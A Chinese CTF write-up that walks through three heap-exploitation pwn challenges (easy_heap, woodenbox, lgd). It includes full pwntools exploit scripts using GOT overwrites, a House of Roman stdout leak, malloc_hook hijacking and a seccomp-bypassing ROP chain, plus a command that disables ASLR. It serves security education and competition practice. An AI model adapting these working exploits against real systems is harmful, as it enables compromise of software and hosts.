高校戰“疫”網路安全分享賽-部分PWN題-wp

Gcow安全團隊發表於2020-04-11

高校戰“疫”網路安全分享賽-部分PWN題-wp

1.本文由複眼小組的RGDZ師傅原創
2.本文共3500字,圖片30張 預計閱讀時間10分鐘
3.由於筆者水平有限,所以部分操作可能不是最優的,如果各位看官還有更好的方法,歡迎您到評論區分享一下!

0x00.前言:

週末打了下 《高校戰“疫”網路安全分享賽》,作為WEBPWN的菜鳥,只做出了三個PWN, 雖然被大佬們暴捶,但還是學到了幾個操作,這裡寫一份WP,記錄一下。

0x01.easy_heap:

1.函式分析:

這道題比較簡單,checksec如下:

 

圖片1 checksec

 

main函式如下:

 

圖片2 easy_heap_main

 

del函式可以發現指標已經清0

 

圖片3 easy_heap_del

 

add函式如下:

 

圖片4 easy_heap_add

 

我們可以發現,其現申請的ptr指標然後再給其賦值,如果我們申請的時候,輸入大於0x400size,雖然函式退出,但是實際上ptr[i]裡面已經有指標了,而且上面的del函式釋放時並沒有給size清空,漏洞點就在這裡

2.思路簡述:

我們可以現申請一個0x600x70fastbin,然後釋放掉,此時fastbin的連結串列如下:

 

圖片5 easy_heap_add的fastbin連結串列

 

之後我們再add(0x500)一下,ptr[0]就等於第一個fastbin,同時其fd指標還保留了留在0x1552000也就是第二個fastbin的指標地址,所以這個時候我們編譯ptr[0]也就是編輯第二個fastbin,之後我們可以在add(0x20)一下,add(0x50)把第二個bin拿出來,同時拿到ptr[2]之後我們編輯ptr[0]實際上就可以控制ptr[1], 現在ptr的堆疊情況如下:

 

圖片6 ptrs

 

所以我們編輯ptr[0]來使得ptr[1]的指標變成170也就是ptr[2],(注:這裡地址不一樣是因為我本地開了ASLR,我是在指令碼里面直接下的斷點,但後三位偏移是一樣的。)所以當我們在去編輯ptr[1]時實際上就是在編輯ptr[2]chunk,如圖:

 

圖片7 ptrs2

 

由於程式沒有開啟got保護,而且題目沒有給出輸出函式,所以我們可以先想辦法洩露,我們可以先透過ptr[1]修改ptr[2]的指標指向free_got,在透過編輯ptr[2]來修改free_gotputs_plt,在回去編輯ptr[1]來修改ptr[2]atoi_got,這樣當我們free掉ptr[2]後,就能洩露atoi的地址,計算出libc基地址,我們在透過編輯ptr[0]來使得ptr[1]指向atoi_got,在編輯ptr[1]來修改atoi_gotsystem的地址,這樣下一次輸入時輸入/bin/sh就可以getshell了。

3.完整EXP:

from pwn import *

context.log_level = "debug"

io = process("easyheap")
# io = remote("121.36.209.145", 9997)
elf = ELF('easyheap')
libc = ELF("libc.so.6")

def c(idx):
    io.sendlineafter("Your choice:", str(idx))

def add(size, buf):
    c(1)
    io.sendlineafter("How long is this message?", str(size))
    io.sendafter("What is the content of the message?", buf)

def free(idx):
    c(2)
    io.sendlineafter("What is the index of the item to be deleted?", str(idx))

def edit(idx, buf):
    c(3)
    io.sendlineafter("What is the index of the item to be modified?", str(idx))
    io.sendafter("What is the content of the message?", buf)


add(0x60, '\x00')
add(0x70, '\x00')

free(0)
free(1)

c(1)
io.sendlineafter("How long is this message?", str(0x500))
add(0x20, '\xaa')
add(0x50, '\xaa')

buf = p64(0)
buf += p64(0x21)
buf += '\x70'    #fix    
edit(0, buf)
attach(io)

edit(1, p64(elf.got['free']))
edit(2, p64(elf.plt['puts']))
edit(1, p64(elf.got['atoi']))

free(2)
io.recv()
atoi_addr = u64(io.recv(6)+"\x00\x00")
libcbase = atoi_addr - libc.symbols['atoi']
system_addr = libcbase + libc.symbols['system']
log.info("libcbase: 0x%x"%libcbase)
log.info("system addr: 0x%x"%system_addr)

# 2 is 0 so fix 1
buf = p64(0)
buf += p64(0x21)
buf += p64(elf.got['atoi'])    #fix  atoi to system
buf += p64(0x500)
edit(0, buf)

edit(1, p64(system_addr))

io.recv()
io.sendline("/bin/sh")
io.interactive()

0x02.woodenbox:

這題的提示很明顯,基本就是Roman,但這次我臉太黑,爆破一晚上,沒跑出flag,最後查略資料發現Roman其使用在fastbin attack環節先去攻擊stderr+157這個地址,這個偏移是固定,在2.23版本的libc中,之後填充0x33就可以攻擊stdout結構體,從而可以製造洩露,這樣就能把原先Roman的攻擊機率從1/4096,提高到1/16,成功率大大提高,這裡以這道題來例項分析一下流程。

1.函式分析:

add函式如下:

 

圖片8 woodenbox_add

 

edit函式如下,這裡可以發現很明顯的堆溢位了,重新輸入了size,但並沒有重新申請chunk

 

圖片9 woodenbox_edit

 

remove函式如下:

 

圖片10 woodenbox_remove

 

這裡會比較繞,作者用了一個items,一個ptrs同時控制資料陣列,實際上我們一看地址就清楚了,如圖,itemsptrs的地址:

 

圖片11 items_ptrs_addr

 

這裡實際上items是指向第一個資料塊的size,ptrs指向第一個資料塊的ptr,所以可以定義如下結構:

 

圖片12 item_ptr_struct

 

這樣看著就清楚多了,這還有一個點比較坑,作者移除資料塊是非正常移動,在把items[i]置為0後,就開始往上移動,items[0]塊相當於消失,下方的塊上移一次,所以控制chunk下標時要注意,同時最後一個塊也就是item[11]並不會消失,除非主動刪除他

2.思路簡述:

在除錯這題時我們可以先關閉aslr隨機化

echo 0 > /proc/sys/kernel/randomize_va_space

我們依然先使用Roman開題手法,先拿到一個unsorted bin
然後透過上一個chunk溢位來覆蓋size域和fd後4位,其中第一位需要爆破也就在這裡
當我們完成unsorted bin覆蓋size域後其在fastbin裡面)的fd覆蓋後,如圖:

 

圖片13 bins

 

我們最後四位覆蓋為"\x25\xdd"這個偏移是2.23libc是固定的,我們fastbin attack後可以拿到stderr+173其目的是為了控制stderr+221實際上就是覆蓋stdout結構體中_IO_write_base,如圖:

 

圖片14 stdout1

 

關於stdout的更多細節可以參考:

  • 從一題看利用IO_file to leak——https://xz.aliyun.com/t/5057

這樣就可以進行洩露對了覆蓋是我們還多覆蓋了"\x00",這樣就可以使得其輸出一個0x7ffff7dd2600這裡我們將a3變成00這樣可以截斷輸出,0xffff7dd2600實際上是stderr+192,如圖:

 

圖片15 stdout2

 

完成上面步驟我們就成功洩露了libc基地址,接著就可以直接改malloc_hook為one_gadget,最後觸發malloc_printerrgetshell,題目已經在leave給出:

 

圖片16 leave

3.完整EXP如下:

from pwn import *

context.log_level = "debug"

# io = process("./woodenbox2")

elf = ELF('./woodenbox2')
libc = ELF('./libc.so')

def c(idx):
    io.sendlineafter("Your choice:", str(idx))

def add(size, buf):
    c(1)
    io.sendafter("Please enter the length of item name:", str(size))
    io.sendlineafter("Please enter the name of item:", buf)

def edit(idx, buf):
    c(2)
    io.sendlineafter("Please enter the index of item:", str(idx))
    io.sendafter("Please enter the length of item name:", str(len(buf)))
    io.sendafter("Please enter the new name of the item:", buf)

def free(idx):
    c(3)
    io.sendlineafter("Please enter the index of item:", str(idx))

def pwn():
    add(0x20, '') # 0
    add(0x20, '') # 1
    add(0x60, '') # 2
    add(0x60, '') # 3
    add(0x60, '') # 4
    add(0x60, '') # 5
    add(0x80, '') # 6 #unsort bin
    add(0x60, '') # 7 
    add(0x60, '') # 8 
    add(0x60, '') # 9 
    # add(0x80, '') # 10
    add (0x20, '')  # free
    add(0x60, '') # 11

    free(6) # 
    free(6)
    free(2)

    buf = '\x00'*0x68
    buf += p64(0x71)
    buf += "\x20"
    edit(0, buf)

    buf = '\x00'*0x68
    buf += p64(0x71)
    buf +=  p16(0x25dd) # stderr+157
    edit(2, buf)

    attach(io)

    add(0x60, '')
    add(0x60, '')
    add(0x60, '')   # stderr+157

    # attack stdout
    buf = '\x00'*0x33
    buf += p64(0xfbad2887|0x1000)
    buf += p64(0)*3+'\x00'
    edit(4, buf)            # leak _IO_2_1_stdout_+131

    # leak libcbase
    stdout_a = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    log.success("stdout_a: 0x%x"%stdout_a)
    libc.address = stdout_a - libc.sym['_IO_2_1_stderr_'] - 192
    log.success("libcbase: 0x%x"%libc.address)

    free(6)
    # malloc_hook_near = "\xed\x1a"
    malloc_hook_near = p64(+libc.sym['__malloc_hook']-0x23)
    buf = '\x00'*0x68
    buf += p64(0x71)
    buf += malloc_hook_near
    edit(4, buf)    #fix fastbin and attack malloc-0x23

    # attack malloc
    free(6)
    free(6)
    add(0x60, '')
    add(0x60, '')   
    add(0x60, '') # malloc_hook -0x13
    #fix fastbin

    free(3)
    edit(5, p64(0))


    # # unsorted bin attack
    # buf = '\x00'*0x68
    # buf += p64(0x90)
    # buf += p64(0)
    # buf += "\x00"
    # edit(1, buf)
    # add(0x80, '')

    # attack get shell
    one_gadget = libc.address + 0xf02a4
    # one_gadget = p64(one_gadget)[:3]
    buf = '\x00'*0x13
    buf += p64(one_gadget)
    edit(4, buf)

    # gdb.attach(io)
    c(4)
    io.interactive()

for i in range(200):
    try:
        # io = remote("121.36.215.224", 9998)
        io = process("./woodenbox2")
        pwn()
    except:
        print(i)

0x03.lgd:

這題說句實話,感覺就是出題人有點噁心

 

首先開了一個BCF(虛假控制流)

 

圖片17 BCF

 

圖片18 checksec

 

一看有點嚇人,實際上我當時想去除這種混淆,但之前沒有好好研究過這種混淆,參考了看雪的這篇帖子:

  • Hex-Rays: 十步殺一人,兩步秒OLLVM-BCF——https://bbs.pediy.com/thread-257213.htm

但是沒有成功,不過不影響。

1.函式分析:

我們僅僅關注關鍵點:

 

add函式中:

 

圖片19 add1

 

第一處其申請一個size<0x1000的chunk放在buf[i],i最大是32

 

圖片20 add2

 

第二處將輸入的字元的長度賦值到size

 

圖片21 add3

 

第三處將size放入sizes[i]

 

del函式關鍵如下:

 

圖片22 del1

 

釋放buf[i]

 

圖片23 del2

 

這裡b, c都是bss段上的常量,而且預設都是0,這種BCF混淆的一種手法,整個程式沒有一個地方堆b,c進行賦值,所以這裡就是將buf[i]清0

 

edit函式如下:

 

圖片24 edit

 

這裡的size實際上我們在add函式時輸入字元的長度,所以這裡就是一個典型的堆溢位

 

show函式如下:

 

圖片25 show

 

這裡可以進行洩露

2.思路簡述:

我們首先利用unsorted bin進行洩露拿到libc基地址,之後原本以為就正常的fastbin attack改hook get_shell,但打了半天打不通後才發現其開了函式禁用

 

圖片26 seccomp-tools

 

所以這裡我們得想辦法繞過,典型的orwopen read write就是構造shellcode或者rop鏈來執行open函式開啟檔案,read讀取內容,write函式輸出

 

這裡沒有可執行的區域,所以我選擇構造rop鏈,這裡可以參考安全客的這篇文章

  • 一道CTF題目學習prctl函式的沙箱過濾規則——https://www.anquanke.com/post/id/186447#h3-14

實際簡單的說就是先洩露libcenviron變數的值計算偏移得到main函式的rbp地址然後將rop鏈寫入棧中,當main函式執行後退出後就能劫持程式執行流,比較常規的操作

 

計算main函式rbp的偏移可以使用文章用的

 

圖片27 environ_main_rbp

 

可以計算出偏移為0xf8

 

那麼我們怎麼才能洩露environ以及往棧裡面寫rop鏈呢?

 

圖片28 sizes_buf_addr

 

我們發現sizes距離buf很近僅僅0x80的位元組,而且sizes[i]buf[i]中chunk的真實size並無聯絡可以藉此溢位,所以我們可以多構造幾個sizes[i]0x7F這樣就能輕鬆控制buf的內容,從而實現任意地址寫,和任意地址讀(構造的rop鏈可以參考安全客的文章)

 

但是當我向main函式的返回地址,也就是rbp的地址寫入rop鏈後程式並沒去執行rop,我才注意到main函式並非直接返回,而是執行exit(0)直接退出,但這樣我們就不能執行rop鏈,此處多次思考無果,後有師傅說去劫持eixt函式,這裡參考安全客的這篇文章

  • 詳解 De1ctf 2019 pwn——unprintable —— https://www.anquanke.com/post/id/183859

但我實際去劫持的時候失敗了,這裡回頭在實驗實驗,然後還有師傅說利用SROP,修改free_hookcontext然後將bss段改為可執行,寫入shellcode的執行,額,哇靠有點操作難度,感覺比較複雜,那麼有沒有在簡單的方法呢?實際還有,我們注意edit函式,這裡在看一下

 

圖片29 edit2

 

我們發現其向buf[i]寫完東西以後就直接退出了,所以我們是否可以去劫持他的返回地址而不是main函式的返回地址呢?

 

答案是可行的,我們來看一下他的偏移

 

圖片30 edit_rbp

 

經過計算發現其偏移等於main_rbp-0x130也就是environ-0x228

 

所以我們這一次將目標地址寫入這裡,在寫入之前注意我們需要再申請一塊chunk,主要目的是使得sizes[i]的大小足夠我們寫入rop鏈,這裡申請0x200好了

3.完整EXP如下:

from pwn import *

context.arch = 'amd64'
context.log_level = "debug"

io = process("./pwn")
# io = remote("121.36.209.145", 9998)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

def init():
    name = "wo si n baba!!!!,sb chu ti ren"
    io.sendafter("son call babaaa,what is your name? ", name)

def c(idx):
    io.sendlineafter(">> ", str(idx))

def add(size, real_size=0x7E):
    c(1)
    io.sendlineafter("______?", str(size))
    io.sendlineafter("start_the_game,yes_or_no?", "a"*(real_size))

def free(idx):
    c(2)
    io.sendlineafter("index ?", str(idx))

def show(idx):
    c(3)
    io.sendlineafter("index ?", str(idx))

def edit(idx, buf):
    c(4)
    io.sendlineafter("index ?", str(idx))
    io.sendafter("___c___r__s__++___c___new_content ?", buf)

init()
add(0x80)
add(0x20)

free(0)

add(0x80)
show(0)

main_arena_88 = u64(io.recvuntil("\x7f")[1:].ljust(8, '\x00'))
libc_addr = main_arena_88 - (0x7fcadeb17b78-0x7fcade753000)
libc.address = libc_addr
log.success(hex(libc.address))

add(0x10)
add(0x60)
add(0x10)

#attack bss
free(3)
buf = "\x00"*0x18
buf += p64(0x71)
buf += p64(0x603268) #0
edit(2, buf)

add(0x60)
add(0x60) # 5

# leak environ
buf = '\x00'*0x68
buf += p64(libc.symbols['environ'])
edit(5, buf)
show(0)
environ = u64(io.recvuntil("\x7f")[1:].ljust(8, "\x00"))
log.success("environ: 0x%x"%environ)

free(1)
add(0x80, 0x200)

io.recv()
# attack stack and malloc_hook
main_rbp_addr = environ - 0xf8
malloc_hook_addr = libc.symbols['__malloc_hook']
log.success("malloc_hook_addr: 0x%x"%malloc_hook_addr)
buf = '\x00'*0x60
buf +=  "flag".ljust(8, "\x00")
buf += p64(0) # 0
buf += p64(main_rbp_addr-0x130)   # 1

edit(5, buf)

layout = [
    # "flagx00x00x00x00", # ret
    0x0000000000400711, # ret
    0x0000000000400711, # ret
    0x0000000000400711, # ret

    0x00000000004023b3, # : pop rdi ; ret
    0x603268+0x70,       # stack_addr - 0xf8,
    0x00000000004023b1, # : pop rsi ; pop r15 ; ret
    0,
    0,
    libc_addr + 0x0000000000033544, # : pop rax ; ret
    2, # sys_open
    libc_addr + 0x00000000001077F5, # : syscall ; ret

    0x00000000004023b3, # : pop rdi ; ret
    3,
    0x00000000004023b1, # : pop rsi ; pop r15 ; ret
    0x6033E0,
    0,
    libc_addr + 0x0000000000001b92, # : pop rdx ; ret
    0x100,
    elf.plt['read'],

    0x00000000004023b3, # pop rdi
    1,
    0x00000000004023b1, # pop rsi
    0x6033E0,
    0,
    libc_addr + 0x0000000000001b92, # pop rdx
    0x50,

    libc_addr + 0x0000000000033544, # pop eax
    1,
    libc_addr + 0x00000000001077F5, #syscall

    elf.plt['exit']
]

c(4)
io.sendlineafter("index ?", str(1))
# attach(io)
io.sendafter("___c___r__s__++___c___new_content ?", flat(layout))
io.interactive()

0x04.總結:

這次雖然只做出了3道題,但還是學到很多姿勢,特別最後一道,就感覺知識遷移能力很重要,以及做題的時候很多需要靈活應變,感覺收穫還是滿滿的,期待大佬們其他題的WP.還請各位大佬多多擔待,有什麼新的想法歡迎在公眾號的後臺留言提出。

0x05.參考文章:

  • 從一題看利用IO_file to leak——https://xz.aliyun.com/t/5057

  • Hex-Rays: 十步殺一人,兩步秒OLLVM-BCF——https://bbs.pediy.com/thread-257213.htm

  • 一道CTF題目學習prctl函式的沙箱過濾規則——https://www.anquanke.com/post/id/186447#h3-14

  • 詳解 De1ctf 2019 pwn——unprintable——https://www.anquanke.com/post/id/183859

相關文章